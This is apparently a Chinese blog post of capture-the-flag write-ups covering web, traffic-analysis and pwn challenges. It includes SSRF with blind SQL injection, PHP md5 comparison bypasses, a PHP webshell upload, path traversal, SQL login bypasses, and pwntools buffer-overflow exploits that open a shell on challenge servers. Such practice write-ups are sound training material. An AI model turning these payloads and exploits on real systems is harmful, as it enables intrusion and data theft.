混杂

ATTACK续

alert

进入题目环境,得到的是一个空白页面,只有一个提示框在反复出现

  • 法1

用view-source协议,查看源码

翻阅发现底下有行小字

flag{3d5274b5e8075fd5755a2880a4da8cfd&#125

直接随波逐流就好了

得到flag

flag{3d5274b5e8075fd5755a2880a4da8cfd}
  • 法2

直接burp抓包得到小字内容

然后随波逐流

你必须让他停下

进环境,得到一个不断刷新的页面,刷新速度过快

无法直接看源码拿flag

遂选择抓包进行处理

看到源码,一开始第一次出flag的时候以为和max-age的值相关

但多次复现后发现和这个没关系

不需要修改任何值

多发送几遍请求响应就会看到flag

头等舱

题目叫头等舱,猜测和什么头有关

比如标头、header块什么的

进入环境

打开F12

逐个检查得flag

流量分析1

先随便找条流量追踪一下

看到一个类似url编码的玩意,于是解码一下

GET /index.php?url=gopher://127.0.0.1:80/_POST%20%2Fadmin.php%20HTTP%2F1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2Fx-www-form-urlencoded%250d%250aContent-Length%3A%2078%250d%250a%250d%250aid%253D1%2529%2520and%2520if%2528%2528ascii%2528substr%2528%2528select%2520flag%2520from%2520flag%2529%252C1%252C1%2529%2529%253D%252740%2527%2529%252Csleep%25283%2529%252C0%2529%2520--%2520 HTTP/1.1

解码后

GET /index.php?url=gopher://127.0.0.1:80/_POST /admin.php HTTP/1.1%0d%0aHost: localhost:80%0d%0aConnection: close%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length: 78%0d%0a%0d%0aid%3D1%29%20and%20if%28%28ascii%28substr%28%28select%20flag%20from%20flag%29%2C1%2C1%29%29%3D%2740%27%29%2Csleep%283%29%2C0%29%20--%20 HTTP/1.1

发现还有url编码

再解码得到最终效果

GET /index.php?url=gopher://127.0.0.1:80/_POST /admin.php HTTP/1.1
Host: localhost:80
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 78

id=1) and if((ascii(substr((select flag from flag),1,1))='40'),sleep(3),0) -- HTTP/1.1

大致意思是对flag读取第一个字符转换为ascii码,如果和40相等,就延时三秒

就是对这个数据库中的flag进行猜解

那我们过滤数据包的条件,也就是猜解成功的条件就是延时三秒

于是键入指令

$$
http.time >=3
$$

得到过滤过后的http流

按照顺序打开查看内容

都只看Request URI即可

发现也是url编码

按照之前的工序搞完即可

例如,第一个流量里面的内容是

/index.php?url=gopher://127.0.0.1:80/_POST%20%2Fadmin.php%20HTTP%2F1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2Fx-www-form-urlencoded%250d%250aContent-Length%3A%2079%250d%250a%250d%250aid%253D1%2529%2520and%2520if%2528%2528ascii%2528substr%2528%2528select%2520flag%2520from%2520flag%2529%252C1%252C1%2529%2529%253D%2527102%2527%2529%252Csleep%25283%2529%252C0%2529%2520--%2520

彻底解码后是

/index.php?url=gopher://127.0.0.1:80/_POST /admin.php HTTP/1.1
Host: localhost:80
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 79

id=1) and if((ascii(substr((select flag from flag),1,1))='102'),sleep(3),0) --

以此类推

第一个显示102

ascii码的102就是f

那么可以预见的是flag{xxxxxxxxx}

挨着解码即可

矛盾

很常规的一个传参问题

进环境

看到源码

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

一目了然

要通过get传参,改url即可

要得到flag必须传入的num的值等于1

而num又不能是数字,不然就之后显示num的内容

所以构造num

/?num=1ada

得到flag

备份是个好习惯

进入环境

什么都没有

说备份

考虑常见备份文件后缀

备份文件常见的后缀名 备份文件基本上都是压缩包

  • .rar
  • .zip
  • .7z
  • .tar.gz
  • .bak

对于bak类的备份文件,可以直接输入文件名称+.bak访问例如:

  • index.php.bak
  • .txt
  • .old
  • .temp
  • _index.html
  • .swp
  • .sql
  • .tgz
  • tar

备份文件常见的文件名 文件名不包含后缀

  • web
  • website
  • backup
  • back
  • www
  • wwwroot
  • temp
  • db
  • data
  • code
  • test
  • admin
  • user
  • sql

说回此题

试出存在备份文件index.php.bak

(注:可以直接靠御剑扫目录得知存在

看到index.php.bak中的内容

<?php
/**

* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
  */

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
   echo $flag."取得flag";
}
?>

由于

$str = str_replace('key','',$str);

导致了key的值会被重新赋值为空

所以我们得绕过这个key检测

所以这里采用双写绕过的方法进行解决

即写为kekeyy1 kekeyy2

后续方法有两种来使得key1和key2的md5值相等

①数组绕过

构造payload为

/?kekeyy1[]=aa&kekeyy2[]=dad

后续值不一样即可

原理就是md5函数无法处理数组,这样就会返回两个NULL,而两个NULL的md5值是一样的,但是传入的key值可以不同

所以这样就能够获取到flag

②0e开头的md5值

类似的构造payload

但是不需要数组

构造payload为

/?kekeyy1=240610708&kekeyy2=QNKCDZO

也能直接拿到flag

原理是使用==这个的比较漏洞,如果两个字符经过md5加密后的值是0exxxxx形式,在科学计数法中会被认为是0*10的几次方的,结果是0。此时,md5加密值相等,但是key值是不等的

if(md5($key1) == md5($key2) && $key1 !== $key2)

(==比较漏洞的具体位置)

那么直接传入md5值为0e开头的任意两个字符串即可

类似的值还有

240610708
0e462097431906509019562988736854
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752  
s155964671a
0e342768416822451524974117254469  
s1184209335a
0e072485820392773389523109082030  
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752  
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752  
s1885207154a
0e509367213418206700842008763514  
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

总之用数组或==比较漏洞都可

然后拿到flag

变量1

进入环境

看到源码

flag In the variable !` <?php error_reporting(0);include "flag1.php";highlight_fileflag In the variable ! <?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
   $args = $_GET['args'];
   if(!preg_match("/^\w+$/",$args)){
       die("args error!");
  }
   eval("var_dump($$args);");
}
?>(__file__);if(isset($_GET['args'])){  $args = $_GET['args'];  if(!preg_match("/^\w+$/",$args)){    die("args error!"); }  eval("var_dump($$args);");}?>`

这里的正则表达式限制了args的值

不知道为什么可以依靠超级环境变量进行赋值解决得到flag

键入

/?args=GLOBALS

拿到flag

upload1

进入环境

是上传

要求必须是图片

构造一句话木马

新建一个txt文档

键入

<?php
@eval['123'];
echo('123')
?>

修改后缀为JPG

上传

抓包拦截

修改抓到的包的后缀为php

随后可以进入 url/upload/一句话木马文件名.php页面查看是否上传成功

如果成功,会得到

实际在页面上的显示内容就是一个只有数字123的一个空白页

然后中国蚁剑

新建数据

url填upload后的页面

密码填123

新建成功后

双击数据

可以进入这个界面

flag大概率在根目录

直接去根目录找flag文件即可

最后在根目录找到

点进flag.php即可

拿到flag

get_shell

下载附件

用checksec检查一下附件

写exp

运行,拿到shell

输入ls

进行交互

看到以下回显

cat flag即可

warmup

进入环境

没找到什么有用信息

F12

注释提示source.php

进入这个页面

看到源码

提示hint.php

在这个页面的基础上看hint.php

url/source.php?file=hint.php

因为我们当前的source.php一般是在html目录下,往上是www,var,然后到根目录,flag一般就放在根目录下面,这里还有一个hint.php?/或者source.php?/,因此需要返回四层才能到根目录

所以构造payload

source.php?file=hint.php?/../../../../ffffllllaaaagggg

inget

进入环境

提示输入ID和bypass

bypass是绕过

id会想到什么

sql注入吧

不会,手工注一下

没看到什么东西

上网查

得知万能密码注

/?id=' or ''='

url编码后就是

/?id=%27%20or%20%27%27=%27

原理是

我们这里是以get传参的方式在前端给id传了个值,后端会对我们提交的内容进行查询

比如我们提交的是 id=123

而到后端大概会呈现出来的部分内容就是 ‘id=123’

会有单引号将这个内容引起来进行查询

这样我们就好理解上面payload的原理了

我们传入 id=’ or ”=’ 实际上到了后端大概是这样子 ‘id=’ or ”=”

对于我们传入的四个单引号的解释:

第一个单引号,与查询时前面的单引号形成闭合;

第二个单引号,与查询时后面的单引号形成闭合;

第三和第四个单引号实际上只是使等号成立的内容,即’=’

我们知道or的两边只要有一边成立,结果就为真,而 单引号=单引号 这个肯定是恒成立的

类似的

还有

/?id=' or '1=1

以及

/?id=' or 1=1 -- +

这俩都可以做到这一效果

拿到回显flag

hello_pwn

先checksec看看情况

    Arch:       amd64-64-little
  RELRO:     Partial RELRO
  Stack:     No canary found
  NX:         NX enabled
  PIE:       No PIE (0x400000)

看不懂,反正64位

进IDA64

先看main函数

F5看看先

read函数读内容

从unk_601068开始读

那么就去找unk_601068的具体地址

找到

db是1字节,dd是4字节

而dword_60106c等于1853186401就能进入sub_400686函数

而sub_400686又能

所以转到sub_400686函数是必须的

补充read函数的效果:

在这段代码中,read 函数的调用如下:

read(0, &unk_601068, 0x10uLL);

read 函数的原型是 ssize_t read(int fd, void *buf, size_t count);,其中:

  • fd 是文件描述符,这里是 0,代表标准输入(stdin)。
  • buf 是指向缓冲区的指针,这里是 &unk_601068,表示读入的数据将被存储在 unk_601068 变量所在的地址。
  • count 是要读取的字节数,这里是 0x10uLL,即16字节。

因此,这个 read 函数调用会尝试从标准输入读取16字节的数据。如果输入的数据少于16字节,read 函数会返回实际读取的字节数,但不会阻塞等待更多的输入,除非标准输入被管道或终端控制台限制。如果输入的数据多于16字节,read 函数只会读取前16字节。

这里直接输入

aaaa1853186401

是没用的

我的理解是没有经过编码导致识别的内容不是byte而是字符串

如果正确编码过后的效果是

aaaaaaun\x00\x00\x00\x00

这个直接cmd连nc就能拿到flag

经过测试

直接

aaaaaaun

也能拿到flag

借鉴大佬博客

1853186401转化为字母就是nuaa,也就是输入aaaanuaa

但因为存在小端序和大端序的问题,本题采用的是小端序

因此本题的输入应该为,

aaaaaaun

如果构造exp

就是

from pwn import *
p=remote("61.147.171.105",57506)
payload=('a'*4).encode()+p64(1853186401)
p.sendline(payload)
p.interactive()

encode和p64方法是必须的

经过这样的编码才能存入对应字节拿到flag

还有一种payload是

payload=p32(1853186401)*2

理解得到结论

前一种payload是最可能直接想到的

因为unk_601068到dword_60106c之间差4个db,也就是四个字节,于是自行补充了4字节的’aaaa‘

然后由于是64位的程序

于是p64()

理论上来说:

  1. 32位程序:如果你的目标程序是32位的,那么你应该使用 p32 函数来编码整数。这将确保整数以32位小端格式存储,这是32位系统的标准。
  2. 64位程序:如果你的目标程序是64位的,那么你应该使用 p64 函数来编码整数。这将确保整数以64位小端格式存储,这是64位系统的标准。
  3. 16位程序:虽然在现代系统中不常见,但如果你的目标程序是16位的,你可能需要使用 p16 函数来编码整数,尽管 pwntools 可能不直接提供这样的函数,你可以通过其他方式来实现16位的编码。

但发现的矛盾在于,明明dd是4字节,但p64的结果会是8字节

但是payload写p64也能出flag

很奇怪

发现这一点,就去看p32()方法

发现新的payload

payload=('a'*4).encode()+p32(1853186401)

但是内容真的有区别吗?

直接单独看p64和p32的效果好了

b'aaun'
b'aaun\x00\x00\x00\x00'

这就是print得到的p32和p64的效果

\x00是空

也就是说\x00是后面因为位数不足补全的,所以这里p32也能直接出

那为什么这种payload得这样?

payload=p32(1853186401)*2

原理也很明显了

p32解构出来的内容就4字节

而从unk_601068到dword_60106c之间差4个db,也就是四个字节,然后dword_60106c本身又有dd这个4字节

所以payload得p32后*2

构成一个8字节长度的内容覆盖上去

最后才能拿到flag

level0

拿到附件

先checksec

    Arch:       amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

就IDA64

连上

看main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
 write(1, "Hello, World\n", 0xDuLL);
 return vulnerable_function();

}

平平无奇

有个ruturn的函数

return是方法,实际函数是vulnerable_function()

双击函数

ssize_t vulnerable_function()
{
 char buf; // [rsp+0h] [rbp-80h]

 return read(0, &buf, 0x200uLL);
}

一个能读200字节的read函数

buf从[rsp+0h] 到[rbp-80h]

双击buf就可以看到确实buf缓冲区是从[rsp+0h] 到[rbp-80h]

每个地址一字节

到末尾出现了一个s和一个r

s是start或者stop

r代表read函数

而buf缓冲区是读取的开始

就是[rsp+0h] 到[rbp-80h]

但光这些信息并不能帮助我们拿到flag

上一题有直接进入一个函数,函数就会直接cat flag

这题还没有看到这种效果

于是开始找提权函数

实际上再Hello,World之上就有一个提取

双击分号后面的部分

进入这个提取函数

函数内容:

int callsystem()
{
 return system("/bin/sh");
}

目的很明显了

要进入这个callsystem()函数

去export窗口看这个函数的实际地址

看到地址为00400596

那么payload就很好构造了

payload=('a'*0x80).encode()+p64(0x00400596)

地址都保留后八位即可

然后搭配0x即可

可是cat flag和ls都没反应

倒回去看地址图

s和r之间差了8个地址

一个是全0000000000000000

一个是0000000000000008

所以payload需要更改

payload=('a'*0x88).encode()+p64(0x00400596)

这样再去运行

运行结果

[x] Opening connection to 61.147.171.105 on port 53438
[x] Opening connection to 61.147.171.105 on port 53438: Trying 61.147.171.105
[+] Opening connection to 61.147.171.105 on port 53438: Done
[*] Switching to interactive mode
Hello, World
ls
bin
dev
flag
level0
lib
lib32
lib64
cat flag
cyberpeace{d74ac0bd57b66dbd123593f0186ccd81}

这个payload的本质我认为就是先填充满整个buf缓冲区

然后再将callsystem函数的地址拼接在payload后面

使得read函数读到callsystem函数

然后执行这个函数

然后让攻击者拿到/bin/sh权限

PWN4

checksec

Arch:       amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:         NX enabled
PIE:       PIE enabled
Stripped:   No

用IDA64

看main

int __cdecl main(int argc, const char **argv, const char **envp)
{
 char s1[8]; // [rsp+1h] [rbp-1Fh]
 char s2; // [rsp+Ch] [rbp-14h]
 unsigned __int64 v6; // [rsp+18h] [rbp-8h]

 v6 = __readfsqword(0x28u);
 setvbuf(_bss_start, 0LL, 2, 0LL);
 setvbuf(stdin, 0LL, 2, 0LL);
 strcpy(s1, "CTFshowPWN");
 logo();
 puts("find the secret !");
 __isoc99_scanf("%s", &s2);
 if ( !strcmp(s1, &s2) )
   execve_func();
 return 0;
}

代码的逐行解释:

  1. int __cdecl main(int argc, const char **argv, const char **envp):这是程序的主函数入口点,__cdecl是调用约定,main函数接受三个参数:argc(参数个数),argv(参数数组),envp(环境变量数组)。
  2. char s1[8];:声明一个字符数组s1,长度为8个字符。
  3. char s2;:声明一个字符变量s2
  4. unsigned __int64 v6;:声明一个无符号64位整数v6
  5. v6 = __readfsqword(0x28u);:这行代码读取了FS段寄存器中的一个值(通常是用于安全检查的Canary值),并将其存储在v6中。
  6. setvbuf(_bss_start, 0LL, 2, 0LL);:设置_bss_start流的缓冲区,使其不使用缓冲区(无缓冲),2表示不缓冲,0LL表示缓冲区大小为0。
  7. setvbuf(stdin, 0LL, 2, 0LL);:对标准输入流stdin做同样的设置,使其不使用缓冲区。
  8. strcpy(s1, "CTFshowPWN");:将字符串”CTFshowPWN”复制到s1数组中。
  9. logo();:调用logo函数,这个函数可能用来显示程序的logo或者欢迎信息。
  10. puts("find the secret !");:输出字符串”find the secret !”到标准输出。
  11. __isoc99_scanf("%s", &s2);:使用scanf函数的ISO C99标准版本读取一个字符串到s2变量中。
  12. if ( !strcmp(s1, &s2) ):检查s1s2指向的字符串是否相等,strcmp函数返回0表示两个字符串相等。
  13. execve_func();:如果s1s2相等,调用execve_func函数,这个函数可能是用来执行某些特定的系统调用或者命令。
  14. return 0;:程序正常退出,返回值0。

整体来看,这个程序要求用户输入一个字符串,如果输入的字符串与”CTFshowPWN”相等,就会调用execve_func函数。

execve_func函数又有什么功能?

unsigned __int64 execve_func()
{
 char *argv; // [rsp+0h] [rbp-20h]
 __int64 v2; // [rsp+8h] [rbp-18h]
 __int64 v3; // [rsp+10h] [rbp-10h]
 unsigned __int64 v4; // [rsp+18h] [rbp-8h]

 v4 = __readfsqword(0x28u);
 argv = "/bin/sh";
 v2 = 0LL;
 v3 = 0LL;
 execve("/bin/sh", &argv, 0LL);
 return __readfsqword(0x28u) ^ v4;
}

效果是拿到“/bin/sh”

思路有了,payload就是用根据if ( !strcmp(s1, &s2) ):检查s1s2指向的字符串是否相等,strcmp函数返回0表示两个字符串相等,s1是CTFshowPWN

那么输入的值s2也该是CTFshowPWN

出flag的方法很多,exp也可,cmd里nc连上输入CTFshowPWN也可

exp:

from pwn import *
sh=remote('pwn.challenge.ctf.show',28259)
payload=(b'CTFshowPWN')
sh.sendlineafter(b'find the secret !',payload)
sh.interactive()

响应:

[x] Opening connection to pwn.challenge.ctf.show on port 28259
[x] Opening connection to pwn.challenge.ctf.show on port 28259: Trying 124.223.158.81
[+] Opening connection to pwn.challenge.ctf.show on port 28259: Done
[*] Switching to interactive mode

ls
bin
boot
ctfshow_flag
dev
etc
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
start.sh
sys
tmp
usr
var
cat ctfshow_flag
ctfshow{a91d1d70-e6c1-46fd-913c-f9795e068767}

pwn38

from pwn import *
sh=remote('pwn.challenge.ctf.show',28248)
payload=b'a'*(0xA+8)+p64(0x40065B)+p64(0x400657)
sh.sendline(payload)
sh.interactive()

0xA是十字节内容

[rsp+6h] [rbp-Ah]

  • [rsp+6h] 表示 buf 从栈指针(rsp)开始向后偏移6个字节(6h是十六进制表示,等于十进制的6)。
  • [rbp-Ah] 表示 buf 从基址指针(rbp)开始向前偏移10个字节(Ah是十六进制表示,等于十进制的10)。

如果我们假设 buf 是在栈帧的顶部定义的,那么 buf 到栈底的距离就是 bufrbp 的距离,即10个字节。这是因为 rbp 指向栈帧的开始,而 bufrbp 向前偏移10个字节。

64 位程序加上 8 字节的栈底(rbp)

所以最后的填充内容是(0xA+8)

由于是64位的程序

所以需要进行堆栈平衡

堆栈平衡:

当我们在堆栈中进行堆栈的操作的时候,一定要保证在 ret 这条指令之前,esp 指向的是我们压入栈中的地址,函数执行到 ret 执行之前,堆栈栈顶的地址 一定要是 call 指令的下一个地址。

因此我们还需要找一个地址: lev 的地址或者该函数结束的地址(即 retn 的地址)

用lev的地址就是上述exp所呈现的

还可以换用retn的地址编写exp

所以出现

法Ⅱ

exp:

from pwn import *
sh=remote('pwn.challenge.ctf.show',28248)
payload=b'a'*(0xA+8)+p64(0x40066D)+p64(0x400657)
sh.sendline(payload)
sh.interactive()

ctfshow{395fc7ae-28be-466a-9e84-bde2ed678e4e}

堆栈平衡:

含义就是 当函数在一步步执行的时候 一直到ret执行之前,堆栈栈顶的地址 一定要是call指令的下一个地址。

也就是说函数执行前一直到函数执行结束,函数里面的堆栈是要保持不变的。

如果堆栈变化了,那么,要在ret执行前将堆栈恢复成原来的样子。

第一种情况:push影响堆栈

比如 call …

函数:mov … (不影响堆栈平衡)

 push….. (影响堆栈平衡)

ret…..

第二种情况:堆栈传递参数

……

堆栈如下:

因为PUSH 1 PUSH 2 是为了函数传参而准备的 ,当函数执行完成后 ,push1,push2 就都没用了,所以要把堆栈恢复到执行前的位置

两种解决办法 :函数外部处理和内部处理

第一种 :在函数外部添加ADD处理

第二种:在函数内部添加

ret 8 是把 ret 和第一种情况的add 两条指令整合成一条指令,在函数内部完成堆栈平衡。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇